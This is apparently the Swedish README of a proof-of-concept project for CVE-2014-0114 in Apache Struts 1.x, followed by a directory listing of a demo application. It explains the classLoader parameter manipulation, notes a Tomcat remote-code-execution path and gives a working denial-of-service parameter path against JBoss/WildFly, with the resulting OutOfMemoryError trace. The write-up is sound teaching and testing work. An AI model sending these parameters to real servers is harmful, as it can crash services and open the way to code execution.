# CVE-2014-0114 - Sårbarhet i Struts 1
Parametrar i en POST- eller GET-request hanteras som egenskaper (properties) som ska
sättas med formuläret som utgångspunkt. Parametrar kan vara en sökväg till ett nästlat
objekt.
Apache Struts 1.x kan manipuleras att anropa getClass() på *Form Beans*. T.ex. kan man direkt
manipulera attribut på formulärets classloader: `https://example.com/?class.classLoader.defaultAssertionStatus=true`.
Under ytan använder Apache Struts 1.x commons-beanutils som i version 1.8 (och tidigare)
inte undantar attributet `class`.
Struts 2 har haft liknande brister, men här fokuserar vi på Struts 1.x där det inte finns några
patchar till ramverket vars senaste version släpptes 2008 (EOL sedan 2013).
## Tomcat - Remote Code Execution (RCE)
Om applikationen körs i Tomcat (Catalina) så går det att manipulera loggningen så att
angriparen kan skapa en JSP-fil som sedan exekveras när man begär den från servern.
JSP-filen kan exekvera godtycklig Java-kod och som den användare som kör Java-processen.
Se Julián Vilas demonstration för detaljer.
## JBoss/Wildfly - Denial Of Service (DOS)
(Testat med JBoss EAP 7.1)
Det finns en enkel metod för att utföra en DOS-attack som i värsta fall gör JBoss helt
oåtkomlig och kräver omstart. I bästa fall svarar JBoss långsamt.
### Utförande
Via `class`-attributet går det att komma åt `Class#protectionDomain.codeSource.location`.
I JBoss är det ett `URL`-objekt med protokoll `vfs`.
För en URL av typen `vfs://` har JBoss registrerat en `URLStreamHandler` som returnerar ett objekt av
typen `org.jboss.vfs.VirtualFile` när `URL#getContent` anropas.
`class.protectionDomain.codeSource.location.content.pathName` pekar ut katalogen `<SÖKGVÄG>/<applikation>/WEB-INF/classes`.
Via `parent` kommer man åt ett objekt för katalogen en nivå upp:
`class.protectionDomain.codeSource.location.content.parent.pathName` -> `<SÖKVÄG>/<applikation>/WEB-INF`
**Fråga:**
Hur många parent-referenser behövs för att komma till roten på filsystemet?
**Fråga:**
Vad händer när vi begär `class.protectionDomain.codeSource.location.content.parent.parent.[...].childrenRecursively[0].pathName`
för filsystemets rotkatalog?
**Svar:**
JBoss kommer att gå igenom alla filer i filsystemet och allokera en `org.jboss.vfs.VirtualFile` för varje fil och katalog.
**Följdfråga:**
Vad händer om två requests begär alla filer i filsystemet samtidigt? Tre requests? Fem? Tio? Hundra?
...
**Svar:**
Väntar man tillräckligt länge loggas ett fel
10:09:59,381 ERROR [io.undertow.request] (default task-13) UT005023: Exception handling request to /strutt/Login.do: javax.servlet.ServletException: javax.servlet.ServletException: BeanUtils.populate
at org.apache.struts.chain.ComposableRequestProcessor.process(ComposableRequestProcessor.java:286)
at org.apache.struts.action.ActionServlet.process(ActionServlet.java:1913)
at org.apache.struts.action.ActionServlet.doGet(ActionServlet.java:449)
at javax.servlet.http.HttpServlet.service(HttpServlet.java:687)
at javax.servlet.http.HttpServlet.service(HttpServlet.java:790)
at io.undertow.servlet.handlers.ServletHandler.handleRequest(ServletHandler.java:85)
at io.undertow.servlet.handlers.security.ServletSecurityRoleHandler.handleRequest(ServletSecurityRoleHandler.java:62)
at io.undertow.servlet.handlers.ServletDispatchingHandler.handleRequest(ServletDispatchingHandler.java:36)
at org.wildfly.extension.undertow.security.SecurityContextAssociationHandler.handleRequest(SecurityContextAssociationHandler.java:78)
at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43)
at io.undertow.servlet.handlers.security.SSLInformationAssociationHandler.handleRequest(SSLInformationAssociationHandler.java:131)
at io.undertow.servlet.handlers.security.ServletAuthenticationCallHandler.handleRequest(ServletAuthenticationCallHandler.java:57)
at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43)
at io.undertow.security.handlers.AbstractConfidentialityHandler.handleRequest(AbstractConfidentialityHandler.java:46)
at io.undertow.servlet.handlers.security.ServletConfidentialityConstraintHandler.handleRequest(ServletConfidentialityConstraintHandler.java:64)
at io.undertow.security.handlers.AuthenticationMechanismsHandler.handleRequest(AuthenticationMechanismsHandler.java:60)
at io.undertow.servlet.handlers.security.CachedAuthenticatedSessionHandler.handleRequest(CachedAuthenticatedSessionHandler.java:77)
at io.undertow.security.handlers.NotificationReceiverHandler.handleRequest(NotificationReceiverHandler.java:50)
at io.undertow.security.handlers.AbstractSecurityContextAssociationHandler.handleRequest(AbstractSecurityContextAssociationHandler.java:43)
at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43)
at org.wildfly.extension.undertow.security.jacc.JACCContextIdHandler.handleRequest(JACCContextIdHandler.java:61)
at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43)
at org.wildfly.extension.undertow.deployment.GlobalRequestControllerHandler.handleRequest(GlobalRequestControllerHandler.java:68)
at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43)
at io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest(ServletInitialHandler.java:292)
at io.undertow.servlet.handlers.ServletInitialHandler.access$100(ServletInitialHandler.java:81)
at io.undertow.servlet.handlers.ServletInitialHandler$2.call(ServletInitialHandler.java:138)
at io.undertow.servlet.handlers.ServletInitialHandler$2.call(ServletInitialHandler.java:135)
at io.undertow.servlet.core.ServletRequestContextThreadSetupAction$1.call(ServletRequestContextThreadSetupAction.java:48)
at io.undertow.servlet.core.ContextClassLoaderSetupAction$1.call(ContextClassLoaderSetupAction.java:43)
at org.wildfly.extension.undertow.security.SecurityContextThreadSetupAction.lambda$create$0(SecurityContextThreadSetupAction.java:105)
at org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction.lambda$create$0(UndertowDeploymentInfoService.java:1508)
at org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction.lambda$create$0(UndertowDeploymentInfoService.java:1508)
at org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction.lambda$create$0(UndertowDeploymentInfoService.java:1508)
at org.wildfly.extension.undertow.deployment.UndertowDeploymentInfoService$UndertowThreadSetupAction.lambda$create$0(UndertowDeploymentInfoService.java:1508)
at io.undertow.servlet.handlers.ServletInitialHandler.dispatchRequest(ServletInitialHandler.java:272)
at io.undertow.servlet.handlers.ServletInitialHandler.access$000(ServletInitialHandler.java:81)
at io.undertow.servlet.handlers.ServletInitialHandler$1.handleRequest(ServletInitialHandler.java:104)
at io.undertow.server.Connectors.executeRootHandler(Connectors.java:326)
at io.undertow.server.HttpServerExchange$1.run(HttpServerExchange.java:812)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:748)
Caused by: javax.servlet.ServletException: BeanUtils.populate
at org.apache.struts.util.RequestUtils.populate(RequestUtils.java:475)
at org.apache.struts.chain.commands.servlet.PopulateActionForm.populate(PopulateActionForm.java:50)
at org.apache.struts.chain.commands.AbstractPopulateActionForm.execute(AbstractPopulateActionForm.java:60)
at org.apache.struts.chain.commands.ActionCommandBase.execute(ActionCommandBase.java:51)
at org.apache.commons.chain.impl.ChainBase.execute(ChainBase.java:191)
at org.apache.commons.chain.generic.LookupCommand.execute(LookupCommand.java:305)
at org.apache.commons.chain.impl.ChainBase.execute(ChainBase.java:191)
at org.apache.struts.chain.ComposableRequestProcessor.process(ComposableRequestProcessor.java:283)
... 42 more
Caused by: java.lang.reflect.InvocationTargetException
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:498)
at org.apache.commons.beanutils.PropertyUtilsBean.invokeMethod(PropertyUtilsBean.java:2155)
at org.apache.commons.beanutils.PropertyUtilsBean.getIndexedProperty(PropertyUtilsBean.java:504)
at org.apache.commons.beanutils.PropertyUtilsBean.getIndexedProperty(PropertyUtilsBean.java:408)
at org.apache.commons.beanutils.PropertyUtilsBean.getNestedProperty(PropertyUtilsBean.java:760)
at org.apache.commons.beanutils.PropertyUtilsBean.getProperty(PropertyUtilsBean.java:837)
at org.apache.commons.beanutils.BeanUtilsBean.setProperty(BeanUtilsBean.java:903)
at org.apache.commons.beanutils.BeanUtilsBean.populate(BeanUtilsBean.java:830)
at org.apache.commons.beanutils.BeanUtils.populate(BeanUtils.java:433)
at org.apache.struts.util.RequestUtils.populate(RequestUtils.java:473)
... 49 more
Caused by: java.lang.OutOfMemoryError: GC overhead limit exceeded
at java.lang.AbstractStringBuilder.<init>(AbstractStringBuilder.java:68)
at java.lang.StringBuilder.<init>(StringBuilder.java:101)
at org.jboss.vfs.VirtualFile.getPathName(VirtualFile.java:139)
at org.jboss.vfs.VirtualFile.getPathName(VirtualFile.java:99)
at org.jboss.vfs.spi.RootFileSystem.getFile(RootFileSystem.java:65)
at org.jboss.vfs.spi.RootFileSystem.isDirectory(RootFileSystem.java:107)
at org.jboss.vfs.VirtualFile.isDirectory(VirtualFile.java:291)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:520)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
at org.jboss.vfs.VirtualFile.visit(VirtualFile.java:521)
10:09:59,420 ERROR [stderr] (Periodic Recovery) Exception in thread "Periodic Recovery" java.lang.OutOfMemoryError: GC overhead limit exceeded
CPU går för fullt för att hantera Garbage Collection för några få requests
och Java-processen hinner inte med mycket annat.
Det beror också lite på applikationen. Kan man trigga en kodväg som tar ett lås så
kan applikationen/systemet att bli hängande.
## Referenser
**CVE**
- https://nvd.nist.gov/vuln/detail/CVE-2014-0114 (Struts 1)
- https://nvd.nist.gov/vuln/detail/CVE-2014-0112 (Struts 2)
- https://nvd.nist.gov/vuln/detail/CVE-2014-0094 (Struts 2)
**Presentation av Julián Vilas**
https://www.youtube.com/watch?v=fpsrusRpP0E
https://www.slideshare.net/testpurposes/deep-inside-the-java-framework-apache-struts
**Metasploit**
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/struts_code_exec_classloader.rb
[4.0K] /data/pocs/19458ebcceaf7d3854ba061571ba547fd7b1b00e
├── [ 378] build.gradle
├── [4.0K] gradle
│ └── [4.0K] wrapper
│ ├── [ 54K] gradle-wrapper.jar
│ └── [ 233] gradle-wrapper.properties
├── [5.2K] gradlew
├── [2.1K] gradlew.bat
├── [ 12K] README.md
├── [ 42] settings.gradle
└── [4.0K] src
└── [4.0K] main
├── [4.0K] java
│ └── [4.0K] strutt
│ ├── [ 786] LoginAction.java
│ └── [1.0K] LoginForm.java
├── [4.0K] resources
│ └── [ 423] messages.properties
└── [4.0K] webapp
├── [ 569] inloggad.jsp
├── [1.4K] login.jsp
├── [3.9K] struts-tester.jsp
└── [4.0K] WEB-INF
├── [ 879] struts-config.xml
├── [ 604] validation.xml
└── [ 877] web.xml
9 directories, 16 files